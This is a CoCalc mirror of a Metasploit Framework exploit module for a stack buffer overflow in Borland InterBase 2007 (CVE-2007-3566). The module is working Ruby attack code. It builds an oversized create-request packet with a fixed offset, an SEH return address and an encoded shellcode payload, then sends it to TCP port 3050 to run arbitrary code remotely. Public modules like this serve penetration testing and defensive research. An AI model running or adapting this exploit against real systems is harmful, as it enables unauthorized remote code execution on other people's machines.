Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/borland_interbase.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Borland Interbase Create-Request Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Borland Interbase 2007.
18
By sending a specially crafted create-request packet, a remote
19
attacker may be able to execute arbitrary code.
20
},
21
'Author' => 'MC',
22
'References' => [
23
[ 'CVE', '2007-3566' ],
24
[ 'OSVDB', '38602' ],
25
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'thread',
29
'AllowWin32SEH' => true
30
},
31
'Payload' => {
32
'Space' => 850,
33
'BadChars' => "\x00",
34
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
35
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
40
],
41
'Privileged' => true,
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2007-07-24',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(3050)])
53
end
54
55
def exploit
56
connect
57
58
# Build the exploit buffer.... It's a biggie!
59
sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
60
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
61
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
62
63
print_status("Trying target #{target.name}...")
64
sock.put(sploit)
65
66
handler
67
disconnect
68
end
69
end
70
71